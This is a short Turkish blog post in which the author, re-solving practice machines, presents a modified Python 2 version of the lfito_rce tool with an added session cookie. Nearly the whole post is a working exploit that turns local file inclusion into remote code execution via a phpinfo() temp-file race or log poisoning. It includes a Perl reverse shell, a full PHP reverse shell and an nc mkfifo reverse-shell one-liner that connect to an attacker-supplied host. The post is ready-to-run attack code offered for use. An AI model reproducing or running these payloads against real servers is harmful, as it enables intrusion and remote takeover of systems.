İçeriğe geç

LFI, PHP Info, RCE

PHP Infi ile LFI varsa daha öncesinde reverse alınabileceğini duymuştum, hatta bir ara merak edip ippsec'in kanalında da izlemiştim ama denemek hiç nasip olmamıştı. Şimdi çözdüğüm makineleri antrenman olsun diye yine çzüyorum. LFI var php info var e deneyeyim dedim. İlk çözdüğümde başka bir şekilde çözmüşüm. Aşamaları teker teker anlatamayacağım ve direkt hap vereceğim.

https://github.com/roughiz/lfito_rce sayfasındaki kod oldukça başarılı ancak python2 ile geliştirilmiş bu yüzden kurması ve çalıştırması belki zahmetli olabilir. Aynı zamanda bir eksiside cookie parametresi yok. Benim örneğimde lfi login sayfasından giriş yaptıktan sonra olan bir sayfada vardı. İlk başta kodu geliştirip merge isteğinde bulunmak geçti içimden ancak sonrasında aman dedim belki ileride yaparım. Kendim bir tane cookies isimli değişken tanımladım ve requests isteklerine teker teker ekledim. Buradaki değişkenimin değeri tabikide bana özel, onu siz kendiniz değiştirirsiniz...

Düzenlemiş olduğum kodun son hali aşağıda, cookie değerinide ayarladıktan sonra python2 de bu kodun sorunsuz bir şekilde çalışması gerekir.

#!/usr/bin/env python2
# -*- coding: utf8 -*-
import requests
from pprint import pprint
import re
import sys
import argparse

import pyfiglet
import threading
import base64
import random
import string
import time
import socket
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
cookies = {"PHPSESSID":"7kauc9cdmegvubamidkq241lg7"}
# proxy set for test
proxies = {'http': 'http://127.0.0.1:8080','https': 'http://127.0.0.1:8080'}
#http log file paths
LOG_FILES=["/var/log/apache/access.log",
"/var/log/apache/error.log",
"/usr/local/apache/log/error_log",
"/var/log/httpd/access_log",
"/var/log/httpd/access.log",
"/var/log/httpd/error_log",
"/var/log/httpd/_error_log",
"/var/log/httpd/_access_log",
"/etc/httpd/conf/logs/error_log",
"/etc/httpd/logs/error_log",
"/var/log/apache2/_access_log",
"/var/log/apache2/access.log",
"/var/log/apache2/_error.log",
"/var/log/apache2/_error_log",
"/usr/local/apache2/log/error_log",
"/var/log/httpd-access.log",
"/var/log/httpd-access.log",
"/var/log/nginx/error.log",
"/var/log/nginx/access.log",
"/var/log/nginx-access.log",
"/var/log/nginx/mysite.com.access.log",
"/var/log/nginx/mysite.com.error.log",
"/var/log/nginx/%saccess.log",
"/var/log/nginx/%serror.log",
"/var/log/vsftpd.log",
"/var/log/sshd.log"]

## temlate and payloads
template='use Socket;$i="%s";$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
template2="""<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '%s';  
$port = %s;       
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
  $pid = pcntl_fork();
  if ($pid == -1) {
    printit("ERROR: Can't fork");
    exit(1);
  }
  if ($pid) {
    exit(0);  
  }
  if (posix_setsid() == -1) {
    printit("Error: Can't setsid()");
    exit(1);
  }
  $daemon = 1;
} else {
  printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
  printit("$errstr ($errno)");
  exit(1);
}
$descriptorspec = array(
   0 => array("pipe", "r"),  
   1 => array("pipe", "w"),  
   2 => array("pipe", "w")   
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
  printit("ERROR: Can't spawn shell");
  exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
  if (feof($sock)) {
    printit("ERROR: Shell connection terminated");
    break;
  }
  if (feof($pipes[1])) {
    printit("ERROR: Shell process terminated");
    break;
  }
  $read_a = array($sock, $pipes[1], $pipes[2]);
  $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
  if (in_array($sock, $read_a)) {
    if ($debug) printit("SOCK READ");
    $input = fread($sock, $chunk_size);
    if ($debug) printit("SOCK: $input");
    fwrite($pipes[0], $input);
  }
  if (in_array($pipes[1], $read_a)) {
    if ($debug) printit("STDOUT READ");
    $input = fread($pipes[1], $chunk_size);
    if ($debug) printit("STDOUT: $input");
    fwrite($sock, $input);
  }
  if (in_array($pipes[2], $read_a)) {
    if ($debug) printit("STDERR READ");
    $input = fread($pipes[2], $chunk_size);
    if ($debug) printit("STDERR: $input");
    fwrite($sock, $input);
  }
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
  if (!$daemon) {
    print "$string\\n";
  }
}
?>"""
TAG="Security Test"    
http = urllib3.PoolManager()

def setup(host,phpinfo,PAYLOAD,PADDING,TAG):
    REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
    REQ1="""POST """+phpinfo+"""?a="""+PADDING+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+PADDING+"""\r
HTTP_ACCEPT: """ + PADDING + """\r
HTTP_USER_AGENT: """+PADDING+"""\r
HTTP_ACCEPT_LANGUAGE: """+PADDING+"""\r
HTTP_PRAGMA: """+PADDING+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)

    return (REQ1)

def debug(msg,VERBOSE):
 if (VERBOSE):
   print('[DEBUG] '+msg, "blue")

def perror(msg):
   print('[ERROR] '+msg, "red")

def phpInfoLFI(VERBOSE, LFI_PATH,  TAG, reqphp, http, host, port, offset):
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    
  s.connect((host, port))
  s.send(reqphp)
  d = ""
  while len(d) < offset:
    d += s.recv(offset)
  try:
    i = d.index("[tmp_name] =&gt")
    fn = d[i+17:i+31]
  except ValueError:
    return None
  try: 
    d= requests.get(LFI_PATH % fn, verify=False,headers={'Connection':'close'},timeout=10, cookies=cookies).content   
  except requests.exceptions.ReadTimeout:
    return fn  
  #d = http.request('GET', LFI_PATH % fn, timeout=5).data
  debug(d,VERBOSE)
  if d.find(TAG) != -1:
    debug("The rev shell output: "+d,VERBOSE)
    return fn
  else:
    return None  

counter=0

class ThreadWorker(threading.Thread):
    def __init__(self, e, l, m, t, r, *args):
        threading.Thread.__init__(self)
        self.event = e
        self.lock =  l
        self.maxattempts = m
        self.payload_type = t
        self.revshell_name = r
        self.args = args

    def run(self):
        global counter
        while not self.event.is_set():
            with self.lock:
                if counter >= self.maxattempts:
                    return
                counter+=1
            try:
                x = phpInfoLFI(*self.args)
                if self.event.is_set():
                    break                
                if x:
                    if self.payload_type == 3:
                      print("\nGot it! Reverse php Shell created in %s" % self.revshell_name,'green')
                    else:
                      print("\nGot it! the payload  %s is executed in the remote host" % self.payload_type,"green")
                    self.event.set() 
            except socket.error:
                return
def controll_log(args):
    args=args
    if args.verbose.lower() in ('yes', 'true', 't', 'y', '1'):
      VERBOSE= True
    else:
      VERBOSE= False
    LFI_PATH=args.lfi
    # verify if both urls are reachable
    try:
      if requests.get(LFI_PATH, cookies=cookies).status_code in (404,403) :
        perror("LFI url path is not reachable !\n")
        sys.exit(1)
    except requests.exceptions.MissingSchema, e:
      perror("LFI url path is not reachable !\n")
      perror(str(e)+"\n")
      sys.exit(1)
    except requests.exceptions.ConnectionError, e:
      perror("LFI url path is not reachable !\n")
      perror(str(e)+"\n")
      sys.exit(1)
    # verify payload input
    if args.ptype <= 0 or args.ptype > 3 :
      perror("Payload parameter should be an integer value: 1 or 2 or 3 !\n")
      sys.exit(1)      
    ascii_banner = pyfiglet.figlet_format("R@()Gh1z tool")
    print("")
    print(ascii_banner)
    print('Find all scripts in: https://github.com/roughiz\n\n', "green")  
    print("LFI RCE via controlled log", "green")
    print "-=" * 50+"\n"
    # define the template to encode
    TEMPLATES ={}
    TEMPLATES[1]=template % (args.lhost,args.lport)
    TEMPLATES[3]=template2 % (args.lhost,args.lport)
    TEMPLATES[2]=""
    base64revshell=base64.b64encode(TEMPLATES[args.ptype])

    # define the end of lfi request
    if args.reqend != "":
       args.reqend="%"+args.reqend  
    # setup payloads and lfi and tag
    TAG="Security Test"
    revshell_name='/tmp/'+''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(12)])+".php"
    PAYLOAD1=""" %s <?php $file = fopen('/tmp/shell.pl', 'w'); fwrite($file,base64_decode('%s')); fclose($file); exec('`which perl` /tmp/shell.pl'); ?>""" % (TAG,base64revshell)
    PAYLOAD2=""" %s<?php exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc %s %s >/tmp/f') ?>""" % (TAG,args.lhost,args.lport)
    PAYLOAD3=""" %s <?php $file = fopen('%s', 'w'); fwrite($file,base64_decode('%s')); fclose($file); ?>""" % (TAG,revshell_name,base64revshell)
    PAYLOADS= {}
    PAYLOADS[1]=PAYLOAD1
    PAYLOADS[2]=PAYLOAD2
    PAYLOADS[3]=PAYLOAD3
    PAYLOAD=PAYLOADS[args.ptype]
    LFI_PATH+="%s"+args.reqend
    # hostname
    host=args.lfi.split("//")[1].split("/")[0]
    if ":" in host:
      host=host.split(":")[0]
    # inject PAYLOAD into log file
    debug('The payload: '+PAYLOAD,VERBOSE)
    PAYLOAD = PAYLOAD.replace("\r","").replace("\n","")
    debug('The payload: '+PAYLOAD,VERBOSE)
    HEADERS={"User-Agent":PAYLOAD, "From":PAYLOAD, "HTTP_USER_AGENT":PAYLOAD, 'Connection':'close'}
    for i in range(3):
      http.request('GET', args.lfi, headers=HEADERS)
    if args.logfile is not None:
      LOG_FILES.append(args.logfile)
    found=False
    i=0
    file_founded=""
    for file in LOG_FILES:
      i+=1
      sys.stdout.write( "\r% 4d / % 4d" % (i, len(LOG_FILES)))
      sys.stdout.flush()
      if "%s" in file:
        file = file%host
      try:
        req= requests.get(LFI_PATH % file, verify=False,headers={'Connection':'close'},timeout=10, cookies=cookies)
      except requests.exceptions.ReadTimeout:
        found=True
        file_founded=file
        continue
      except requests.exceptions.ConnectionError:
        found=True
        file_founded=file
        continue  
      debug("Response code: "+str(req.status_code),VERBOSE)
      debug("Response content: "+req.content,VERBOSE)
      d=req.content
      if d.find(TAG) != -1:
        found=True
        file_founded=file
        break
    if found:
      print("\n\nThe web server log file path is %s" % file_founded,'yellow')
      if args.ptype == 3:
        print("\nGot it! Reverse php Shell created in %s" % revshell_name,'green')
        url =LFI_PATH%revshell_name
        print("\nI will execute the reverse shell, requesting the url: "+url,"yellow")
        try:
          requests.get(url,verify=False,headers={'Connection':'close'},timeout=10, cookies=cookies)
        except requests.exceptions.ReadTimeout:
          print("\nVerify your nc listenner %s:%s" % (args.lhost,args.lport),"yellow")
      else:
        print("\nGot it! the payload  %s is executed in the remote host" % args.ptype,"green")
        print("\nVerify your nc listenner %s:%s" % (args.lhost,args.lport),"yellow")
    else:
      print("\n:( The RCE trough controlled Log File script failed !!","red")    

def main(args):
    args = args
    if args.verbose.lower() in ('yes', 'true', 't', 'y', '1'):
      VERBOSE= True
    else:
      VERBOSE= False
    LFI_PATH=args.lfi
    PHPINFO_PATH=args.phpinfo
    # verify if both urls are reachable
    try:
      if requests.get(LFI_PATH, cookies=cookies).status_code in (404,403) or requests.get(PHPINFO_PATH, cookies=cookies).status_code in (404,403):
        perror("LFI url path or PHPINFO url path is not reachable !\n")
        sys.exit(1)
    except requests.exceptions.MissingSchema, e:
      perror("LFI url path or PHPINFO url path is not reachable !\n")
      perror(str(e)+"\n")
      sys.exit(1)
    except requests.exceptions.ConnectionError, e:
      perror("LFI url path or PHPINFO url path is not reachable !\n")
      perror(str(e)+"\n")
      sys.exit(1)
    # verify payload input
    if args.ptype <= 0 or args.ptype > 3 :
      perror("Payload parameter should be an integer value: 1 or 2 or 3 !\n")
      sys.exit(1)      
    ascii_banner = pyfiglet.figlet_format("R@()Gh1z tool")
    print("")
    print(ascii_banner)
    print('Find all scripts in: https://github.com/roughiz\n\n', "green")  
    print("LFI With PHPInfo() RCE script", "green")
    print "-=" * 50+"\n"
    poolsz=args.threads

    # define the template to encode
    TEMPLATES ={}
    TEMPLATES[1]=template % (args.lhost,args.lport)
    TEMPLATES[3]=template2 % (args.lhost,args.lport)
    TEMPLATES[2]=""
    base64revshell=base64.b64encode(TEMPLATES[args.ptype])

    # define the end of lfi request
    if args.reqend != "":
       args.reqend="%"+args.reqend  
    # setup payloads and lfi and tag
    revshell_name='/tmp/'+''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(12)])+".php"
    PAYLOAD1="""%s\r
<?php $file = fopen("/tmp/shell.pl", "w"); fwrite($file,base64_decode("%s")); fclose($file); exec("`which perl` /tmp/shell.pl &"); ?>\r""" % (TAG,base64revshell)
    PAYLOAD2="""%s\r
<?php exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc %s %s >/tmp/f') ?>\r""" % (TAG,args.lhost,args.lport)
    PAYLOAD3="""%s\r
<?php $file = fopen("%s", "w"); fwrite($file,base64_decode("%s")); fclose($file); ?>\r""" % (TAG,revshell_name,base64revshell)
    PAYLOADS= {}
    PAYLOADS[1]=PAYLOAD1
    PAYLOADS[2]=PAYLOAD2
    PAYLOADS[3]=PAYLOAD3
    PAYLOAD=PAYLOADS[args.ptype]
    LFI_PATH+="%s"+args.reqend

    # phpinfo post params
    PADDING="A" * 5000
    COOKIES= {"PHPSESSID":"q249llvfromc1or39t6tvnun42;","othercookie":PADDING}
    HEADERS= {"HTTP_ACCEPT":PADDING, "HTTP_USER_AGENT":PADDING, "HTTP_ACCEPT_LANGUAGE":PADDING, "HTTP_PRAGMA": PADDING}
    PHPINFO_PATH+='?a='+PADDING
    files = {'file': ('test.txt',PAYLOAD, 'text/plain')}

    debug("\nLFIrequest template : "+LFI_PATH,VERBOSE)
    response = requests.post(PHPINFO_PATH, files=files,headers=HEADERS, cookies=COOKIES)
    i = response.content.find("[tmp_name] =&gt")
    if i == -1:
      raise ValueError("No php tmp_name in phpinfo output")
    debug("found %s at %i" % (response.content[i:i+10],i),VERBOSE)
    # padded up a bit
    offset= i+256
    if VERBOSE:
      debug("\nPost request template that will be send. url: "+response.request.url,VERBOSE)
      debug("\nPost request template that will be send. headers: "+str(response.request.headers),VERBOSE)

    port = 80
    host=host0=args.phpinfo.split("//")[1].split("/")[0]
    if ":" in host0:
      host=host0.split(":")[0]
      port=int(host0.split(":")[1])
    phpinfo="/"+args.phpinfo.split("//")[1].split("/")[1]  
    reqphp= setup(host0,phpinfo,PAYLOAD,PADDING,TAG)
    debug(""+host0+" "+host+" "+str(port),VERBOSE)
    maxattempts = 1000
    e = threading.Event()
    l = threading.Lock()

    print("Spawning worker pool (%d)..." % poolsz,"green")
    tp = []
    payload_type = args.ptype
    for i in range(0,poolsz):
        tp.append(ThreadWorker(e,l,maxattempts, payload_type, revshell_name, VERBOSE, LFI_PATH,  TAG, reqphp, http, host, port, offset))

    for t in tp:
        t.start()
    try:
        while not e.wait(1):
            if e.is_set():
                break
            with l:
                sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
                sys.stdout.flush()
                if counter >= maxattempts:
                    break

        if e.is_set():
            print("\nYep! The payload works great !","green")
            if args.ptype == 3:
             url =LFI_PATH%revshell_name
             print("\nI will execute the reverse shell, requesting the url: "+url,"yellow")
             try:
               requests.get(url,verify=False,headers={'Connection':'close'},timeout=10, cookies=cookies)
             except requests.exceptions.ReadTimeout:
               print("\nVerify your nc listenner %s:%s" % (args.lhost,args.lport),"yellow")
            else:
              print("\nVerify your nc listenner %s:%s" % (args.lhost,args.lport),"yellow")
        else:
            print(":(",'red')
    except KeyboardInterrupt:
        print "\nTelling threads to shutdown..."
        e.set()

    print "Shuttin' down..."
    for t in tp:
        t.join()

if __name__=="__main__":
    arg_parser = argparse.ArgumentParser(description='RCE from LFI with PHPINFO assistance or Via controlled log file ')
    arg_parser.add_argument('-a','--action', dest='action', help='Define the attack type\n \t\t - 1 for PHPINFO and - 2 for controlled log. Value 1 by default')
    arg_parser.add_argument('-l','--lfi', dest='lfi', help='the url path of the LFI vuln, per example "http://127.0.0.1:8080/lfi.php?file=" ', type=str, required=True)
    arg_parser.add_argument('--lhost', dest='lhost', help='The local ip to listen, for rev shell', type=str, required=True)
    arg_parser.add_argument('--lport', dest='lport', help='The local port to listen, for rev shell', type=int, required=True)
    arg_parser.add_argument('--payload', dest='ptype', help='Set the type of payload to use.\n 1|2|3  By default payload is set to 3', type=int, default=3)
    arg_parser.add_argument('-e','--end', dest='reqend', help='Define any end of lfi request, per examlpe "%%00"\n by default the end request is empty', type=str, default='')
    arg_parser.add_argument('-v', '--verbose', dest='verbose', help='Define verbose output. set to False by default', type=str, default="FALSE")
    arg_parser.add_argument("-t","--threads", dest="threads", type=int, help="[For phpinfo action]. Threads number, set to 10 by default", default=10)
    arg_parser.add_argument('-i','--phpinfo', dest='phpinfo', help='[For phpinfo action]. Define the url path of the "phpinfo" script. Per ex: "http://host/phpinfo.php"', type=str)#req
    arg_parser.add_argument('-f','--logfile', dest='logfile', help='[For controlled log action]. Define the path of the http server log file. By default script will use bruteforce', type=str)
    action, rem_args = arg_parser.parse_known_args()
    if not action.action or action.action == "1":
      if action.phpinfo is None:
        print("\nlfito_rce.py: error: argument -i/--phpinfo is required")
        sys.exit(1)
      action=True  
    elif action.action and action.action == "2":
      action=False
    else:
      arg_parser.error("\nAction should be: 1 for 'PHPINFO' or 2 for 'controlled log'")  
    args = arg_parser.parse_args()  

    if action:
      main(args)
    else:
      controll_log(args)  
Kategori:Uncategorized

İlk Yorumu Siz Yapın

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir